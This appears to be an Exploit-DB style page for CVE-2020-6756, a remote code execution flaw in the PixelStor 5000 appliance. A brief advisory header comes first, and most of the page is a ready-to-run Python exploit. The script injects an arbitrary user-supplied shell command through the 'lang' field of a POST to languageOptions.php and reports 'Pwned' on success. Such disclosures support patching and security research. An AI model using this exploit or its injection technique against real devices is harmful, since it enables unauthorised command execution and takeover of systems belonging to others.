PixelStor 5000 - Remote Code Execution

vendor:

PixelStor 5000

by:

.:UND3R:.

9.8

CVSS

CRITICAL

Remote Code Execution

CWE

Product Name: PixelStor 5000

Affected Version From: K:4.0.1580-20150629 (KDI Version)

Affected Version To: K:4.0.1580-20150629 (KDI Version)

Patch Exists: YES

Related CWE: CVE-2020-6756

CPE: a:rasilient:pixelstor_5000

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Linux

2020

PixelStor 5000 – Remote Code Execution

PixelStor 5000 is vulnerable to Remote Code Execution. An attacker can exploit this vulnerability by sending a maliciously crafted POST request to the languageOptions.php page. This will allow the attacker to execute arbitrary commands on the vulnerable system.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: PixelStor 5000 - Remote Code Execution
# Product: PixelStor 5000
# Vendor: Rasilient
# Date: 2020-01-08
# Exploit Author: .:UND3R:.
# Vendor Homepage: http://rasilient.com
# Version: K:4.0.1580-20150629 (KDI Version)
# Tested on: K:4.0.1580-20150629 (KDI Version)
# CVE: CVE-2020-6756
# URL Author: https://pwnedchile.com
# Thanks: Dani Pelotocino <3, Roit

import requests, sys

def poc(target, cmd):
	url = target + "/Option/languageOptions.php"
	headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
	data = {"lang": ";" + cmd + ";/bin/echo -n en"}
	r = requests.post(url, headers=headers, data=data)
	if(r.status_code == 200):
		print("\nPwned :]")
	else:
		print("\nNot vulnerable :(")

print("PixelStor 5000 RCE exploit\nVersion: K:4.0.1580-20150629 (KDI Version)\n\nAuthor: .:UND3R:.\nURL: https://pwnedchile.com\nThanks: Dani Pelotocino <3")

if len(sys.argv) !=2:
    print("\n[+] Usage: python " + sys.argv[0] + " <url>\n")
    sys.exit(1)

if __name__ == "__main__":
	url = sys.argv[1]
	cmd = raw_input("\n[Linux Command]:")
	poc(url, cmd)
#EoF